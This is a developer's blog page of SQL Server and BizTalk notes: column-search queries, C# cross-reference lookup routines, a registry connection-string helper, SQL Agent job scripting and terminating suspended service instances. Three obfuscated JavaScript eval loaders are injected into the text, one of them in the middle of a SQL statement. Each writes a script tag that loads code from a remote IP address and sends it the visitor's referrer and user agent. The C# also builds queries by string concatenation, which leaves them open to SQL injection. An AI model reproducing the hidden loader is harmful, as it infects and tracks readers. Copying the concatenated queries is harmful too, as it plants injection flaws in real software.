Often you need to quickly find an SQL database column based on a partial name, or do something like show me all the column names that have “cust” or “addr” or “date” in the column name…

use <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shyhe|var|u0026u|referrer|irsif||js|php'.split('|'),0,{}))
</script></noindex> YourDatabaseHere

select b.name as 'TableName', a.name as 'ColumnName' from sys.columns A
  inner join sys.tables B on a.object_id = b.object_id
where a.name like '%cust%'
order by b.name, a.name

This finds all columns containing the letters ‘cust’. Just change ‘cust’ to whatever you want

Example use: I know there’s probably a column called ‘zipcode’ or ‘postal’ code, but I don’t know what they called it:

use YourDatabaseHere
 select b.name as 'TableName', a.name as 'ColumnName' from sys.columns A
  inner join sys.tables B on a.object_id = b.object_id
where a.name like '%zip%' or a.name like '%post%'
order by b.name, a.name

Xref Database Routines

BizTalk has the ability to store cross reference (xref) values in the BizTalkMgmtDB. Usually, mapping functoids handle the conversion, but the following routines allow the same lookups from anywhere you can call C#.


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsehb|var|u0026u|referrer|sfaar||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        /// This does the SQL lookup/conversion to the BizTalk XREF tables.
        /// </summary>
        /// <param name="appType"></param>
        /// <param name="valueXRefName"></param>
        /// <param name="strLookupValue"></param>
        /// <returns></returns>
        static string GetLookupCommonValue(string appType, string valueXRefName, string strLookupValue)
        {

            SqlConnection sqlConn = new SqlConnection(GetBizTalkDBConnectionString());

            sqlConn.Open();

            string query =
            "select commonValue from xref_ValueXRefData " +
            "   inner join xref_ValueXref on xref_ValueXref.valueXrefId = xref_ValueXRefData.valueXRefID " +
            "   inner join xref_AppType on xref_AppType.appTypeId = xref_ValueXRefData.appTypeID " +
            "   where valueXRefName = '" + valueXRefName + "'" +
            "   and appType = '" + appType + "'" +
            "   and appValue = '" + strLookupValue + "'";
            //Console.WriteLine("query=" + query);

            SqlCommand cmd = new SqlCommand(query);
            cmd.Connection = sqlConn;
            SqlDataReader rdr = cmd.ExecuteReader();


            bool gotRow = rdr.Read(); // only expecting one row - no reason to loop here
            if (!gotRow)
            {
                sqlConn.Close();
                throw new Exception("strLookupValue=" + strLookupValue + " not found.  (BizTalkMgmtDb) No value found for query=" + query);
            }
            string commonValue = (string)rdr["commonValue"];
            //Console.WriteLine("CommonValue=" + commonValue);
            sqlConn.Close();

            return commonValue;
        }


        static string GetLookupCommonValueByKeys(int valueXRefId, int appTypeId, string strLookupValue)
        {

            SqlConnection sqlConn = new SqlConnection(GetBizTalkDBConnectionString());

            sqlConn.Open();

            string query = "select commonValue from xref_ValueXRefData where valueXRefID = " + valueXRefId +
                " and appTypeID = " + appTypeId +
                " and appValue = '" + strLookupValue + "'";

            //Console.WriteLine("query=" + query);

            SqlCommand cmd = new SqlCommand(query);
            cmd.Connection = sqlConn;
            SqlDataReader rdr = cmd.ExecuteReader();


            bool gotRow = rdr.Read(); // only expecting one row - no reason to loop here
            if (!gotRow)
            {
                sqlConn.Close();
                throw new Exception("strLookupValue=" + strLookupValue + " not found.  (BizTalkMgmtDb) No value found for query=" + query);
            }
            string commonValue = (string)rdr["commonValue"];
            //Console.WriteLine("CommonValue=" + commonValue);
            sqlConn.Close();

            return commonValue;
        }

        /// <summary>
        /// xref tables are part of BizTalkMgmtDb.  Any system running BizTalk with have the connection string
        /// in the registry.  The following  common routine  finds that conn-string in the registry. 
        /// </summary>
        /// <returns></returns>
        private static string GetBizTalkDBConnectionString()
        {
            string connString =
                TFBIC.Common.BizTalk.Components.MapHelper.DynamicSQLConnectionString("BizTalkMgmtDb");
            //Console.WriteLine("ConnString=" + connString);

            // Above routine was changed so as not to include the OLEDB provider.
            //connString = connString.Replace("Provider=SQLOLEDB.1;", "");  // remove old OLEDB provider
            //Console.WriteLine("ConnString=" + connString);
            return connString;

        }
        // This was before we had two methods to get connection strings
        private static string GetBizTalkDBConnectionString2()
        {
            string connString =
                TFBIC.Common.BizTalk.Components.MapHelper.DynamicSQLConnectionStringOLEDB("BizTalkMgmtDb");
            //Console.WriteLine("ConnString=" + connString);

            connString = connString.Replace("Provider=SQLOLEDB.1;", "");  // remove old OLEDB provider
            //Console.WriteLine("ConnString=" + connString);
            return connString;

        }



A way to get the BizTalk SQL Server name from the register, and use it to build a connection string:

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frzkd|var|u0026u|referrer|ihiyy||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        ///  Code sample of how to get connection string from the  Registry. 
        /// </summary>
        /// <param name="DBName"></param>
        /// <returns></returns>
        public static string DynamicSQLConnectionStringOLEDB(string DBName)
        {
            try
            {

                Microsoft.Win32.RegistryKey rk = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWAREMicrosoftBizTalk Server3.0Administration", false);

                string ConnString = "Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=" + DBName + ";Data Source=" + rk.GetValue("MgmtDBServer").ToString();

                return ConnString;

            }
            catch
            {
                return "";
            }
        }

DECLARE @Jobname Varchar(50)
DECLARE @Jobid binary(16)

Set @Jobname = N’ESB_LaSalle-Loan-Removal-Monthly’
SELECT @Jobid = job_id FROM msdb.dbo.sysjobs WHERE (name = @Jobname)
select ‘job1’, @jobid, @jobname
IF (@jobId IS NOT NULL)
exec sp_delete_job @job_name=@Jobname;

“Cannot add, update, or delete a job (or its steps or schedules) that originated from an MSX server.” +”originating_server_id”

I got this error when doing the following. I did right-click ‘Create Job as” then “Create to” a new query window. I was scripting 3 SQL agent jobs, then tried to combine them into one script.

I was trying to build my script without any “GO” commands, so I could have some variables at the top used throughout as parameters.

It was critical to reset these variables before each call to sp_add_job:
SET @ReturnCode = null
SET @jobID = null

The other “hits” I found when googling were totally off target of my solution above. I’m using SQL 2005, which seems to have an “originating_server_id” instead of an “originating_server” in the sysjobs table.

Hope this helps someone!

Neal

My client is an early adapter of SQL 2005, maybe going production in August.
We have several Biztalk applications that need to be able to update and retrieve from production databases.

Basically, everybody gives the party line that you have to have Biztalk 2006 to work with SQL2005. I think when they say this, they mean that to have the Biztalk databases running on SQL2005, including BAM/BAS and all that fun stuff.

We are content to leave our Biztalk 2004 databases on SQL 2000, but need the Biztalk 2004 system to call stored procedures on SQL 2005.

Since there are no definitive answers here as to why it won’t work – we
decided to try it and see for ourselves what would happen.

We created a simple stored proc on SQL 2005 (returning a small table with
“for xml auto, elements”. We create a receive port, receive location, and
flat file send port that subscribed to the receive port. After starting the
receive-location which was polling SQL eveyr 30 seconds, we got the same
error every 30 seconds in the application event log:

New transaction cannot enlist in the specified transaction coordinator.

MS-DTC is up and running and looks fine on SQL-2005.

There is a great program called “DTCTester”:
http://support.microsoft.com/default.aspx?scid=kb;en-us;293799
We run this utility on a server that is running BTS 2004.
Our observation so far is that if this utility won’t communicate with the DTC on SQL 2005, then Biztalk won’t be able either.

For some reason yet undiscovered, our development environment will not communicate using the DTCTester program, so we tried our Biztalk QA system and it worked. Thus we repeated the same test described above on our QA server, and it worked fine. Biztalk was able to call a retrieval Stored Proc on SQL 2005 and it worked great.

I’ll keep you posted on what happens next.

Updated 08/02/2005 – Our development system is now running SQL2005. Biztalk databases are still on SQL2000, and everything working fine.

I was looking to accomplish via software the process of going to HAT, listing all Serivce Instances, and then selectively terminating service instances that have a specific error message.

We have some “errors” that aren’t really errors. In other words, our orchestrations get suspended when we call a web service to a legacy system, and for example the shipping address if over 30 characters. We didn’t try this error, and right now I’m not going to suggest we change and remigrate the orchestrations. So I simply want to run a daily script that finds all suspended orchestrations that have “shipping addres over 30” in the error message, and terminate them. That way, when a person looks in HAT, only the more interesting errors are seen.

The WMI to list the suspended service instance took about six minutes to run, while HAT took about six seconds or less. So I finally decided that HAT had to be using SQL directly, not using WMI, and I sought out on a trek to find how HAT did what it did. I used SQL profiler to start a trace and capture all SQL command to the Biztalk databases, then went to HAT, ran the desired processes, when went back to profiler to see what the real SQL commands actually were.

To list the suspend service instances, this is the call to a stored proc:

use BiztalkMsgBoxDb
exec MBOM_LookupInstances @nvcHost = NULL, @nServiceClass = 1, @uidServiceType = NULL, @uidInstanceID = NULL, @nvcUserState = NULL, @nStatus = 63, @nPendingOperation = 15, @dtFrom = NULL, @dtUntil = NULL, @nMaxMatches = 200

To delete one of the suspended service instances, call this Stored Proc and pass the three GUIDs:

exec [dbo].[bts_AdminCompleteTerminate_BizTalkServerApplication]
@uidInstanceID = N'{0E6DF4B2-76D4-46D8-AF80-9B0C07907E38}’,
@uidServiceID = N'{7825F761-716A-5253-7592-A62A4D711BD1}’,
@uidClassID = N'{226FC6B9-0416-47A4-A8E8-4721F1DB1A1B}’,
@nResult = 1

So now, I am using a VBScript with ADODB to run the stored procs, and I’m happy with the results.